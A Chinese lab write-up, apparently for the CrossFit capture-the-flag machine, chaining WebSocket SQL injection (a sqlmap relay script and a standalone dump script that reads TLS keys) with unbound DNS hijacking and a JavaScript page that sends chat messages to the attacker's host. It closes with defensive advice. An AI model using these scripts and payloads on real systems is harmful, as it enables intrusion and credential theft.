本次渗透实战的主要流程为:
1、信息收集,发现WebSocket接口;
2、使用burp对WebSocket接口进行测试,发现存在sql注入漏洞;
3、编写中转注入脚本,通过sqlmap跑出数据库内容,并读取重要的配置文件;
4、通过unbound搭建DNS服务器,结合已有的配置文件,使用dnschef进行DNS欺骗;
5、DNS流量劫持后获取了用户密码。
主要的知识点在于:基于WebSocket接口的sqlmap中转注入,DNS服务器的搭建与欺骗,下面开始此次渗透实战之旅。
信息收集
有真实的ip,那上来首先肯定是端口扫描一波,看看开了哪些服务:
单从端口上看,突破点应该在web服务,unbound这个服务后续在详细介绍。
在来一波目录扫描:
发现一些登录页面,逐一尝试并没有取得突破。
wfuzz -u http://10.10.10.232 -H "Host: FUZZ.crossfit.htb" -w /root/Desktop/domain.txt
发现了几个子域名,在etc/hosts文件里添加上:
10.10.10.232 crossfit.htb employees.crossfit.htb gym.crossfit.htb crossfit-club.htb
逐个点开观察,终于在burp里看到一个有意思的东西;
之前接触的少,查阅一波资料后,简单介绍如下:
WebSocket
初次接触 WebSocket 的人,都会问同样的问题:我们已经有了 HTTP 协议,为什么还需要另一个协议?它能带来什么好处?
答案很简单,因为 HTTP 协议有一个缺陷:通信只能由客户端发起。
举例来说,我们想了解今天的天气,只能是客户端向服务器发出请求,服务器返回查询结果。HTTP 协议做不到服务器主动向客户端推送信息。
这种单向请求的特点,注定了如果服务器有连续的状态变化,客户端要获知就非常麻烦。我们只能使用"轮询":每隔一段时候,就发出一个询问,了解服务器有没有新的信息。最典型的场景就是聊天室。
轮询的效率低,非常浪费资源(因为必须不停连接,或者 HTTP 连接始终打开)。因此,工程师们一直在思考,有没有更好的方法。WebSocket 就是这样发明的。
它的最大特点就是,服务器可以主动向客户端推送信息,客户端也可以主动向服务器发送信息,是真正的双向平等对话,属于服务器推送技术的一种。
现在回到我们本次渗透;
python3 -m websockets ws://gym.crossfit.htb/ws/
python3 -m websockets ws://10.10.10.232/ws/
实际测试这两个效果是一样的,任选一个都可以。看到这种json格式的数据,联想到的就是sql注入、命令执行、反序列化等。
burp可以抓到websockets的包,(再次感叹神器的强大)
还可以进行反复的修改;
最终测试出了参数params存在注入,上sqlmap试试,不行在自己写脚本。
sqlmap中转注入
先试试直接sqlmap跑:
sqlmap --url "ws://10.10.10.232/ws/" --data='{"params":"help","token":"a5e6c5aade60a2c4619893218280a45d2a142e3bcf583c8e1955c0b579f13009"}' -v 3 --dbs
无法成功。
看下payload;(有助于加深理解)
尝试多次都没有成功,后来详细研究了ws协议的传输过程,写了一个中转脚本;
from websocket import create_connection import re from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import unquote import threading from socketserver import ThreadingMixIn hostname = "localhost" serverport = 9000 def xt(msg): matches = re.findall(r'token":"(.*?)"', msg) return matches[0] def send_msg(msg): resp = "" ws = create_connection("ws://gym.crossfit.htb/ws") resp = ws.recv() cur_token = xt(resp) msg = unquote(msg) msg = msg.replace('"', "'") d = '{"message":"available","params":"'+msg+'","token":"' + cur_token + '"}' print(d) ws.send(d) resp = ws.recv() #print(resp) matches = re.findall(r'message":"(.*?)"', resp) print(matches[0]) return matches[0] #send_msg("1 and 2=2-- -") #send_msg("1 and 'a'='a'-- -") #exit(0) class Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) param = self.path[5:] self.send_header('Content-Type', 'text') self.end_headers() resp = send_msg(param) self.wfile.write(bytes(resp, "utf-8")) class ThreadingSimpleServer(ThreadingMixIn, HTTPServer): pass def run(): server = ThreadingSimpleServer(('0.0.0.0', 9000), Handler) try: server.serve_forever() except KeyboardInterrupt: pass if __name__ == '__main__': run()
期间经过反复测试、修改,具体过程不在赘述,大家看脚本就明白了。运行结果截图:
看下payload:
sqlmap -u http://127.0.0.1:9000/?id=1 --dbs --level 5 --risk 3 sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "employees" -T employees -C username --dump sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "employees" -T employees -C password --dump sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "employees" -T employees -C email --dump sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "employees" -T employees -C email,token --dump --fresh-queries --threads 10
这里还可以读取文件,后面渗透需要用到;
sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_plans" -C "password" --file-read /etc/httpd.conf
sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_plans" -C "password" --file-read /etc/passwd sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_plans" -C "password" --file-read /var/unbound/etc/unbound.conf sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_plans" -C "password" --file-read /var/unbound/etc/tls/unbound_server.key sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_plans" -C "password" --file-read /var/unbound/etc/tls/unbound_control.pem sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_plans" -C "password" --file-read /var/unbound/etc/tls/unbound_control.key sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_plans" -C "password" --file-read /var/unbound/etc/tls/unbound_server.pem sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_plans" -C "password" --file-read /etc/relayd.conf
不用sqlmap的脚本:
#!/usr/bin/python3 import json from websocket import create_connection ws = create_connection("ws://10.10.10.232/ws/") r = ws.recv() t = json.loads(r)['token'] print("# Printing \"employees\" table to get emails ... ") ws.send("{\"message\":\"available\",\"params\":\"0 UNION ALL SELECT 1,GROUP_CONCAT(id,' ',username,' ',password,' ',email) from employees.employees-- -\",\"token\":\"" + t + "\"}") r = ws.recv() t = json.loads(r)['token'] print ("{:<2} {:<13} {:<64} {:<32}".format("id","username","password","email")) for l in r[r.index("name: ")+6:len(r)-3].split(","): a = l.split(" ") print ("{:<2} {:<13} {:<64} {:<32}".format(a[0],a[1],a[2],a[3])) print("\n# Downloading the \"/var/unbound/etc/unbound.conf\" file ... ", end="") ws.send("{\"message\":\"available\",\"params\":\"0 UNION ALL SELECT 1,HEX(LOAD_FILE('/var/unbound/etc/unbound.conf'))-- -\",\"token\":\"" + t + "\"}") r = ws.recv() t = json.loads(r)['token'] with open('unbound.conf', 'w') as f: f.write(bytearray.fromhex(r[r.index("name: ")+6:len(r)-3]).decode()) print("DONE") print("# Downloading the \"/var/unbound/db/root.key\" file ... ", end="") ws.send("{\"message\":\"available\",\"params\":\"0 UNION ALL SELECT 1,HEX(LOAD_FILE('/var/unbound/db/root.key'))-- -\",\"token\":\"" + t + "\"}") r = ws.recv() t = json.loads(r)['token'] with open('root.key', 'w') as f: f.write(bytearray.fromhex(r[r.index("name: ")+6:len(r)-3]).decode()) print("DONE") print("# Downloading the \"/var/unbound/etc/tls/unbound_server.pem\" file ... ", end="") ws.send("{\"message\":\"available\",\"params\":\"0 UNION ALL SELECT 1,HEX(LOAD_FILE('/var/unbound/etc/tls/unbound_server.pem'))-- -\",\"token\":\"" + t + "\"}") r = ws.recv() t = json.loads(r)['token'] with open('unbound_server.pem', 'w') as f: f.write(bytearray.fromhex(r[r.index("name: ")+6:len(r)-3]).decode()) print("DONE") print("# Downloading the \"/var/unbound/etc/tls/unbound_control.key\" file ... ", end="") ws.send("{\"message\":\"available\",\"params\":\"0 UNION ALL SELECT 1,HEX(LOAD_FILE('/var/unbound/etc/tls/unbound_control.key'))-- -\",\"token\":\"" + t + "\"}") r = ws.recv() t = json.loads(r)['token'] with open('unbound_control.key', 'w') as f: f.write(bytearray.fromhex(r[r.index("name: ")+6:len(r)-3]).decode()) print("DONE") print("# Downloading the \"/var/unbound/etc/tls/unbound_control.pem\" file ... ", end="") ws.send("{\"message\":\"available\",\"params\":\"0 UNION ALL SELECT 1,HEX(LOAD_FILE('/var/unbound/etc/tls/unbound_control.pem'))-- -\",\"token\":\"" + t + "\"}") r = ws.recv() with open('unbound_control.pem', 'w') as f: f.write(bytearray.fromhex(r[r.index("name: ")+6:len(r)-3]).decode()) print("DONE") ws.close()
运行后结果如下:
拿到用户名和hash,破解一波没有结果,卡住了。
后来再次查看namp的扫描结果,有个8953端口运行着unbound服务,详细查阅了资料,明白了unbound的基本用法和原理,结合sqlmap可以读取文件,将unbound的所有配置文件读取到本地,就可以冒充DNS服务器,实现DNS欺骗。下面逐步来实现:
unbound搭建DNS服务器
unbound是一款相对简单的DNS服务软件,相对于bind9的复杂配置,更适合新手搭建DNS服务器使用。
这里只简单作个使用的基本介绍,方便于理解后续的渗透思路。
先看看配置文件(作渗透对各种配置文件都要有深刻的理解):
配置unbound.conf文件 server: verbosity: 1 num-threads: 2 #线程数 interface: 127.0.0.1 #监听地址(一般写本机内网ip) interface: ::0 port: 53 #端口 so-reuseport: yes #为每个线程的传入查询打开专用侦听套接字。可以更均匀地将传入查询分布到线程 cache-min-ttl: 60 #解析最小缓存时间 cache-max-ttl: 600 #解析最大缓存时间 outgoing-range: 8192 access-control: 10.0.0.0/8 allow #访问控制(允许10段ip访问本机) access-control: 127.0.0.1/8 allow #允许本机访问 access-control: ::0/0 allow #允许ipv6网段访问 prefetch: yes #消息缓存元素在它们到期之前被预取以保持缓存是最新的 do-ip4: yes do-ip6: yes do-udp: yes do-tcp: yes so-rcvbuf: 8m so-sndbuf: 8m msg-cache-size: 64m #消息缓存的字节数。 默认值为4 MB。 rrset-cache-size: 128m #RRset缓存的字节数。 outgoing-num-tcp: 256 #为每个线程分配的传出TCP缓冲区数 incoming-num-tcp: 1024 #为每个线程分配的传入TCP缓冲区数 include: "zone.conf" #zone.conf文件内容为解析内容,如local-data: "m.baidu.com A 192.168.10.1",也可以使用下面注释的方式配置解析 # local-data: "m.baidu.com 600 A 192.168.10.1" #其中600为解析缓存时间 #python: remote-control: #这个区间为unbound控制设置。配置如下内容可以控制unbound服务,利用unbound-control命令对该服务执行开启、关闭、重启等操作。 control-enable: yes control-interface: 127.0.0.1 control-port: 8953 server-key-file: "/usr/local/unbound/etc/unbound/unbound_server.key" server-cert-file: "/usr/local/unbound/etc/unbound/unbound_server.pem" control-key-file: "/usr/local/unbound/etc/unbound/unbound_control.key" control-cert-file: "/usr/local/unbound/etc/unbound/unbound_control.pem" forward-zone: #这个区间为转发设置 name: "." forward-addr: 8.8.8.8
启动服务
首先执行./sbin/unbound-checkconf检查配置文件语法,确认无误后进行下一步;
执行/sbin/unbound-control-setup生成秘钥,之后才能使用/sbin/unbound-control命令;
最后执行./sbin/unbound启动服务。
Linux客户端测试。在客户端修改/etc/resolv.conf文件,将DNS服务器的IP地址指向上述所配置的授权DNS服务器的IP地址。
使用nslookup命令验证DNS查询结果
可见我们的DNS服务已经运行成功。
在本次渗透中不用那么复杂,根据上面的测试能理解软件的运行效果就可以了,接下来继续我们的渗透:
在kali里运行:
sudo apt install unbound
新建文件:
touch local_zones.conf
之前下载的unbound的配置文件unbound.conf如下:
修改为自己的路径:
在kali的apache2网页目录下写入如下2个文件:
echo "<html><head></head><body><script>window.location=\"http://xcrossfit.htb/go.html\";</script><p>Redirecting ...</p></body></html>" > /var/www/html/password-reset.php
echo "<html><head><script src=\"http://crossfit-club.htb/socket.io/socket.io.js\"></script><script>var s = io.connect(\"http://crossfit-club.htb\");s.emit(\"user_join\", { username : \"Admin\" });s.on(\"private_recv\", (d) => {var xhr = new XMLHttpRequest();xhr.open(\"GET\", \"http://10.10.16.9/get.php?s=\" + btoa(JSON.stringify(d)), true);xhr.send();});</script></head><body><p>Getting data ...</p></body></html>" > /var/www/html/go.html
开启apache2服务;
service apache2 start
访问测试下:
没问题,下面开启DNS服务;
unbound-control的基本命令格式:
unbound-control -c my_unbound.conf -s 10.10.10.232@8953 forward_add +i some.attacker.htb. <your_ip>@53
在kali终端里运行:
unbound-control -c ./unbound.conf -s 10.10.10.232@8953 forward_add +i xemployees.crossfit.htb. 10.10.16.14@53; sleep 2;
unbound-control -c ./unbound.conf -s 10.10.10.232@8953 forward_add +i xcrossfit.htb. 10.10.16.14@53
在hosts里把这两个域名也加上;
10.10.10.232 crossfit.htb employees.crossfit.htb gym.crossfit.htb crossfit-club.htb xcrossfit.htb xemployees.crossfit.htb
DNS欺骗
这里使用DNSChef这款软件来进行DNS欺骗,下载地址:https://github.com/iphelix/dnschef
DNSChef旨在为渗透测试人员和恶意软件分析师提供一个高度可配置的DNS代理。DNS代理(也称为“Fake DNS”)是用于应用程序
网络流量分析以及其他用途的工具。例如,DNS代理可以用于伪造对“badguy.com”的请求使其指向本地机器来终止或拦截,而不是指向Internet上的某个真实主机。
先测试下基本用法:
window修改dns服务器:
dnschef --fakeip=192.168.200.2 --fakedomains=www.baidu.com,www.qq.com --interface 192.168.200.243
fackip欺骗到指定的ip,facedomains欺骗域名
成功实现了DNS欺骗。
在本次渗透测试中运行如下命令:
python3 dnschef.py -i 10.10.16.14 --fakedomains xemployees.crossfit.htb --fakeip 127.0.0.1 --count 2; sleep 1; python3 dnschef.py -i 10.10.16.14 --fakedomains xcrossfit.htb,xemployees.crossfit.htb --fakeip 10.10.16.14
这里渗透的思路就是:既然我们获取了目标服务器的DNS配置文件,那我们就利用unbound搭建一个DNS服务器,配置与目标服务器相同。在利用DNSChef工具来进行DNS欺骗,将受害机器的DNS流量全部引导到我们自己搭建的DNS服务器上,实现了流量的劫持,并可以对关键数据进行拦截与分析,引导受害机器运行我们定义的恶意代码。
获取用户密码
利用前面获取的用户名,在kali终端里运行:
curl -s -X "POST" -H "Host: xemployees.crossfit.htb" -H "Content-Type: application/x-www-form-urlencoded" -d "email=david.palmer%40crossfit.htb" "http://10.10.10.232/password-reset.php"
看下DNSChef的运行情况:
查看apache日志/var/log/apache2/access.log,就可以发现;
10.10.10.232 - - [19/Jul/2021:21:03:31 -0400] "GET /get.php?s=eyJzZW5kZXJfaWQiOjIsImNvbnRlbnQiOiJIZWxsbyBEYXZpZCwgSSd2ZSBhZGRlZCBhIHVzZXIgYWNjb3VudCBmb3IgeW91IHdpdGggdGhlIHBhc3N3b3JkIGBOV0JGY1NlM3dzNFZEaFRCYC4iLCJyb29tSWQiOjIsIl9pZCI6MjcxOX0= HTTP/1.1" 404 489 "http://xcrossfit.htb/go.html" "Mozilla/5.0 (X11; OpenBSD amd64; rv:82.0) Gecko/20100101 Firefox/82.0"
对这段base64解码后可得:
获取了用户的密码,然后ssh登录:
至此,本次渗透就暂告一段落了,后续的提权渗透主要是利用suid方法进行,不是本篇文章的主题,网上各种例子也很多,这里就不在赘述。
后记
对于SQL注入,目前实战中已经很难找到原生态的SQL注入漏洞了,遇到的基本都是需要作变形或转换的。从SQL注入本质来理解,就是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。因此无论SQL注入以哪种形态或协议(是http(s)还是websocket),最终回归到本质,就是要对用户的输入进行合法性检测,SQL注入的方式或协议只是载体,起决定作用的还是用户的输入。
基于此思想,为了预防利用websocket进行SQL注入,可以采用两种方法:
一是加强对用户输入内容的检查与验证;
二是强迫使用参数化语句来传递用户输入的内容。
在本次渗透实战中,如果没有SQL注入漏洞,就无法获取DNS服务器的配置文件,自然也就无法实现DNS欺骗,但核心还是对用户输入数据的合法性没有判断,导致SQL注入漏洞的存在,与websocket协议没有直接的关系,本文只是提供了一种基于websocket协议进行SQL注入的方法,并在此基础上实现了DNS欺骗,渗透思路有亮点,记录下来与大家共同学习。